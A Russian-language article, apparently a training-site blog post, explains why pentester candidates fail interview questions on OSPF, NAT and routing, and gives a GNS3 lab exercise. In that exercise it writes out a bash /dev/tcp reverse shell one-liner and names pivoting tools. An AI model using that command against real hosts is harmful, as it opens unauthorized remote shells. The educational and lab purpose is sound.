Перейти к содержимому

Вопросы на собеседовании пентестер: почему незнание OSPF и NAT топит кандидата с сертификатами

Вопросы на собеседовании пентестер: почему незнание OSPF и NAT топит кандидата с сертификатами
Время чтения: 12 мин.

На последних двадцати собеседованиях, которые я провёл для позиции пентестера, четырнадцать кандидатов с OSCP или CEH не смогли ответить на один вопрос: «Нарисуй на доске, как пакет от reverse shell пройдёт от скомпрометированной машины через два NAT-транслятора и OSPF-зону обратно к твоему C2-серверу». Маркер завис в воздухе. И это не новички — у людей сертификаты, HackTheBox-профили, десятки решённых машин. Проблема не в подготовке к экзамену. Проблема в том, что буткемпы учат запускать msfconsole и chisel, но не объясняют, что происходит с пакетом после того, как он покинул сетевой интерфейс скомпрометированного хоста.

Почему на собеседовании пентестера спрашивают про сетевые протоколы

Собеседование на пентестера вопросами про сети — не экзамен по сетевому администрированию. Интервьюер не ждёт перечисления типов OSPF-зон наизусть. Такие вопросы проверяют одно: понимает ли человек, что происходит «под капотом», когда пентест выходит за пределы одной машины.

На реальном внутреннем пентесте (internal pentest — тестирование безопасности изнутри корпоративной сети) типичная задача выглядит так: получил доступ к рабочей станции в одном VLAN (Virtual LAN — логически изолированный сегмент сети), а целевой сервер с базой данных сидит в другом. Между ними — маршрутизаторы с OSPF (Open Shortest Path First — протокол динамической маршрутизации, который автоматически выбирает кратчайший путь для пакетов), NAT-трансляторы (Network Address Translation — подмена адресов при переходе пакета между сетями) и межсетевые экраны.

Чтобы пробросить трафик через эту цепочку — через Chisel, ligolo-ng или proxychains — нужно понимать три вещи:

  • Куда маршрутизатор отправит пакет (маршрутизация)
  • Как NAT изменит адрес источника или назначения (трансляция адресов)
  • Почему пакет может уйти одним путём, а ответ вернуться другим (асимметричная маршрутизация)

Без этого пентестер превращается в оператора инструмента: запускает chisel server на C2, reverse-туннель не поднимается — и он не может объяснить, почему. На собеседовании именно здесь проходит граница между «прошёл лабу» и «могу работать в реальной сети клиента».

По данным CrowdStrike Global Threat Report 2025, среднее время lateral movement (горизонтального перемещения по сети после первичной компрометации) — 62 минуты. Рекордный случай — 51 секунда. Атакующий, который перемещается с такой скоростью, точно понимает топологию сети и протоколы маршрутизации. Пентестер, имитирующий атакующего, обязан понимать их не хуже.

OSPF для пентестера: минимум, который спрашивают на собеседовании

OSPF — протокол динамической маршрутизации. «Динамическая» здесь означает: маршрутизаторы сами обмениваются информацией о доступных сетях и автоматически выбирают лучший путь. В отличие от статической маршрутизации, где администратор вручную прописывает каждый маршрут, OSPF адаптируется к изменениям: упала линка между двумя маршрутизаторами — OSPF пересчитает путь через другой.

Как OSPF определяет маршрут и почему это важно при pivoting

Механика такая: каждый маршрутизатор рассылает соседям LSA (Link State Advertisement — объявление о состоянии своих каналов связи). Из полученных LSA все маршрутизаторы строят единую карту сети — LSDB (Link State Database). По этой карте алгоритм Дейкстры вычисляет кратчайший путь до каждой подсети.

Для пентестера это ценно в контексте разведки. Допустим, ты скомпрометировал Linux-сервер на границе двух сегментов. Читаешь таблицу маршрутизации командой ip route — и видишь подсети, которые были невидимы с точки первоначального входа. По MITRE ATT&CK (открытая база тактик и техник реальных атак; T-коды вроде T1016 — идентификаторы конкретных техник) это System Network Configuration Discovery (T1016), а сканирование обнаруженных подсетей — уже Network Service Discovery (T1046).

На собеседовании вопрос про OSPF звучит не как «перечисли типы LSA». Он звучит так: «Ты получил шелл на сервере в подсети 10.10.20.0/24. Таблица маршрутизации показывает маршрут к 10.10.30.0/24 через 10.10.20.1. Что дальше?»

Правильный ответ: прощупать 10.10.30.0/24 через скомпрометированный хост как pivot-точку — развернуть SOCKS-прокси через Chisel или ligolo-ng и сканировать новый сегмент.

Провальный ответ: молчание или «OSPF — это протокол, который работает по алгоритму Дейкстры». Определение без действия — пустышка.

Ещё один момент, который стоит знать: OSPF поддерживает MD5- и HMAC-SHA-аутентификацию (RFC 2328, RFC 5709), но на практике она часто не включена. Для пентестера это потенциальная возможность инжектировать ложные LSA и повлиять на маршрутизацию — при условии L2-доступа к сегменту между OSPF-соседями. Сценарий продвинутый, на типичном собеседовании его не разбирают, но упомянуть — плюс.

Петля маршрутизации в сети: что это и как её распознать

Петля маршрутизации (routing loop) — ситуация, когда пакет бесконечно циклится между двумя или более маршрутизаторами, не достигая цели. Маршрутизатор A отправляет пакет маршрутизатору B, тот отправляет обратно на A — оба считают, что лучший путь к цели лежит через соседа.

Почему это спрашивают на собеседовании пентестера — две причины.

Первая — диагностика. При pivoting через несколько сегментов пентестер может столкнуться с тем, что трафик «пропадает». Запускаешь traceroute до целевого хоста и видишь характерную картину:

traceroute 10.10.30.5
 1  10.10.20.1   1.2 ms
 2  10.10.25.1   2.1 ms
 3  10.10.20.1   1.3 ms
 4  10.10.25.1   2.0 ms
 ...

Пакет мечется между 10.10.20.1 и 10.10.25.1. TTL (Time to Live — счётчик в IP-пакете, уменьшается на 1 при каждом прохождении через маршрутизатор; при 0 пакет уничтожается) не устраняет петлю, но гарантирует, что застрявший пакет будет отброшен после конечного числа хопов. Пентест-трафик до цели не дойдёт. Если кандидат не понимает, что видит, он потратит часы на отладку Chisel вместо минуты на осознание сетевой проблемы.

Вторая — атака. Петля маршрутизации — потенциальный вектор отказа в обслуживании. OSPF предотвращает петли автоматически (единая LSDB — все маршрутизаторы видят одну карту), а вот некорректные статические маршруты — классический источник петель. При routing loop troubleshooting ключевой инструмент — traceroute: повторяющиеся IP-адреса в выводе однозначно указывают на петлю.

NAT: объяснение простыми словами и почему без этого нет reverse shell

NAT (трансляция сетевых адресов) — механизм, подменяющий IP-адрес источника или назначения в пакете при прохождении через маршрутизатор. Приватные адреса вроде 192.168.x.x не маршрутизируются в интернете, поэтому NAT заменяет их на публичный адрес.

Типы NAT и их влияние на пентест

Для пентестера критичны три типа, и понимание разницы между ними — одна из основ сетевого администрирования для ИБ:

Тип NAT Что происходит Влияние на пентест
Static NAT Один внутренний IP жёстко привязан к одному внешнему. Работает в обе стороны Bind shell (прямое подключение к жертве) возможен, если порт проброшен
Dynamic NAT Пул внутренних адресов транслируется в пул внешних. Привязка временная Непредсказуемый внешний адрес — bind shell ненадёжен
PAT (Port Address Translation) Все внутренние адреса транслируются в один внешний, различаются номером порта. Стоит в каждом домашнем роутере Bind shell невозможен без проброса порта. Reverse shell — стандартный выход

Именно из-за PAT пентестеры по умолчанию используют reverse shell (обратное подключение ОТ жертвы К атакующему), а не bind shell. На собеседовании это классический вопрос: «Почему ты выбираешь reverse shell?» Ответ «потому что так написано в туториале» — провал. Ответ «потому что целевой хост за PAT, и входящее соединение на произвольный порт не пройдёт без правила проброса» — показывает, почему важно знать сети в пентесте.

Ещё один сценарий, который ломает кандидатов: двойной NAT. Скомпрометированный хост в подсети 10.10.20.0/24 → PAT на границе сегмента → PAT на периметре → интернет → C2-сервер. Reverse shell с этого хоста пройдёт оба NAT (исходящие соединения транслируются автоматически), но bind shell требует, чтобы входящий пакет прошёл два уровня трансляции — а правил проброса нет. Кандидат, который не может объяснить эту разницу на доске, на реальном пентесте упрётся в первый же нетривиальный сегмент.

Технические вопросы на собеседовании ИБ: провальный и сильный ответ

Разберём конкретный вопрос, который я задаю. Рисую на доске три подсети: 10.10.10.0/24 (DMZ — демилитаризованная зона с публичными сервисами), 10.10.20.0/24 (серверный сегмент), 10.10.30.0/24 (пользовательский сегмент). Между ними — два маршрутизатора с OSPF. На периметре — PAT наружу.

Вопрос: «Ты получил reverse shell с веб-сервера в DMZ. Нужно добраться до контроллера домена в серверном сегменте. Объясни, как пакет пройдёт от тебя до DC и какие проблемы могут возникнуть.»

Провальный ответ: «запущу Chisel и просканирую»

Кандидат: «Подниму Chisel-туннель через reverse shell, потом через proxychains запущу Nmap на 10.10.20.0/24, найду DC и попробую эксплуатировать.»

Почему провал: описана последовательность действий с инструментами, но не дан ответ на вопрос. Кандидат не объяснил — как пакет от Nmap дойдёт до DC через маршрутизатор между DMZ и серверным сегментом; есть ли маршрут обратно — увидит ли DC ответный пакет и куда его отправит; что произойдёт, если между сегментами стоит ACL (Access Control List — список правил фильтрации трафика), блокирующий трафик из DMZ. Сертификаты пентестера без базовых знаний о маршрутизации не помогут объяснить путь пакета.

Сильный ответ: от маршрута до pivot-цепочки

Кандидат: «Первым делом смотрю таблицу маршрутизации на скомпрометированном веб-сервере — ip route. Проверяю, есть ли маршрут к 10.10.20.0/24. Если маршрутизатор знает об этой подсети через OSPF — пакет дойдёт. Но ключевой вопрос — обратный маршрут: DC в серверном сегменте отправит ответ на IP веб-сервера в DMZ, потому что с точки зрения DC именно веб-сервер инициировал соединение через мой SOCKS-прокси. Это сработает, если маршрутизатор между сегментами пропускает такой трафик. Проблема может быть в ACL: если разрешён только HTTP/HTTPS из DMZ в серверный сегмент, мне придётся туннелировать через разрешённые порты — или искать другую pivot-точку.»

Почему работает: кандидат показал понимание маршрутизации в обе стороны, объяснил роль маршрутизатора в контексте pivot-туннеля и предвидел проблему с фильтрацией. Интервьюер слышит: человек может работать в реальной корпоративной сети с сегментацией, а не только в плоской лабораторной топологии.

Знание сетей для специалиста по ИБ: делай раз, делай два, делай три

Практическое упражнение, которое закроет пробел в сетевых протоколах для пентестера за два вечера. Понадобится: GNS3 или EVE-NG (бесплатные эмуляторы сетевого оборудования, ставятся на обычный ноутбук) и образ VyOS (бесплатный маршрутизатор на Linux) или Cisco IOSv.

Шаг 1 — собери минимальную топологию с OSPF. В GNS3 создай три маршрутизатора, соединённых в треугольник. Каждому назначь Loopback-интерфейс (виртуальный интерфейс, который всегда «поднят» — используется как стабильный идентификатор маршрутизатора) с уникальным адресом. Включи OSPF на всех интерфейсах. Цель — добиться, чтобы каждый маршрутизатор видел Loopback-адреса двух других в таблице маршрутизации. Как проверить: show ip ospf neighbor покажет соседей в состоянии FULL, а show ip route ospf — маршруты, полученные через OSPF (помечены буквой «O»).

Шаг 2 — создай петлю маршрутизации вручную. Отключи OSPF на одном маршрутизаторе и пропиши статические маршруты так, чтобы два оставшихся указывали друг на друга для недоступной подсети. Запусти traceroute — увидишь, как пакет мечется между ними до истечения TTL. В Wireshark на транзитном интерфейсе появятся ICMP Time Exceeded. Обрати внимание: OSPF предотвращает такие петли автоматически (единая LSDB гарантирует согласованные маршруты), статические маршруты — нет.

Шаг 3 — добавь NAT и проверь reverse shell через два сегмента. На одном маршрутизаторе настрой PAT (overload NAT). За ним помести виртуальную машину с Linux. С этой машины подними reverse shell до хоста за другим маршрутизатором — подойдёт bash built-in: /bin/bash -i >& /dev/tcp/<target-IP>/<port> 0>&1 (вариант с nc -e работает только в ncat или netcat-traditional, стандартный netcat-openbsd флаг -e не поддерживает). В Wireshark на транзитном интерфейсе увидишь, как NAT подменяет адрес источника. Ключевой момент: проверь, что обратный маршрут существует — иначе TCP-handshake не завершится. Если SYN уходит с подменённым IP, а SYN-ACK не возвращается — проблема в маршрутизации обратного пакета. Именно этот сценарий воспроизводит ситуацию, когда Chisel-туннель «не поднимается», а кандидат не может объяснить почему.

Всё упражнение укладывается в два вечера. После него вопрос «нарисуй путь пакета» на собеседовании перестанет быть проблемой.

Сертификаты пентестера без базовых знаний: почему OSCP не спасает

OSCP, CEH, eJPT дают навык работы с инструментами и методологию атаки. Проблема не в сертификатах — проблема в том, что учебные лабы этих программ обычно используют плоскую сеть (flat network): все машины в одном сегменте, без OSPF, без NAT, без маршрутизации между зонами. Кандидат привыкает, что ping 10.10.10.5 всегда работает, и не задаётся вопросом «а почему пакет вообще дошёл?»

На реальном пентесте сеть не плоская. По данным Mandiant M-Trends 2025, 38% initial access (первичных точек входа) приходится на эксплуатацию публично доступных приложений — Exploit Public-Facing Application (T1190 по MITRE ATT&CK). После initial access начинается lateral movement — Exploitation of Remote Services (T1210) — и тут кандидат без сетевых знаний встаёт. Reverse shell не поднимается — а он не знает, PAT виноват или ACL. Nmap через proxychains показывает все порты filtered — а он не понимает, что SOCKS-прокси не поддерживает ICMP и SYN-сканирование (-sS) через него невозможно в принципе: SOCKS работает на уровне TCP connect(), а не raw-сокетов. Нужен -sT (TCP connect scan).

Это не значит, что нужно сдавать CCNA перед пентестом. Это значит, что перед собеседованием стоит потратить два вечера на GNS3 с основами сетевого администрирования для ИБ, а не ещё одну машину на HackTheBox.

Я провёл за два года больше тридцати собеседований. Паттерн стабильный: человек уверенно рассказывает про Kerberoasting и BloodHound, а потом не может объяснить, почему traceroute показывает звёздочки на третьем хопе. Не потому что глупый — потому что ему никто не объяснил, что это ICMP-фильтрация на транзитном маршрутизаторе, а не «сеть сломалась». На форуме Codeby участники фиксируют ту же проблему: кандидаты «зубрят модель OSI, но не могут объяснить, на каком уровне работает их любимый сниффер». Проблема системная — буткемпы выделяют сетям один модуль из двадцати, оставшиеся девятнадцать отводят под инструменты. Это как учить хирурга скальпелем, не показав анатомию.

Собеседование на пентестера вопросами про OSPF и NAT не проверяет, станешь ли ты сетевым инженером. Оно проверяет, сможешь ли ты понять, что происходит, когда инструмент не работает. А инструменты не работают на каждом втором внутреннем пентесте — где-нибудь между вторым и третьим сегментом, через который нужно пробросить туннель. Два вечера с GNS3 закроют 80% типовых вопросов. Если хочется закрыть базу системно, а не латать дыры перед конкретным интервью — на IB Basics эту связку «сети + пентест» проходят за пару месяцев с лабами.

Эту тему и смежные навыки разбирают на практике в курсе «Компьютерные сети» Codeby Academy.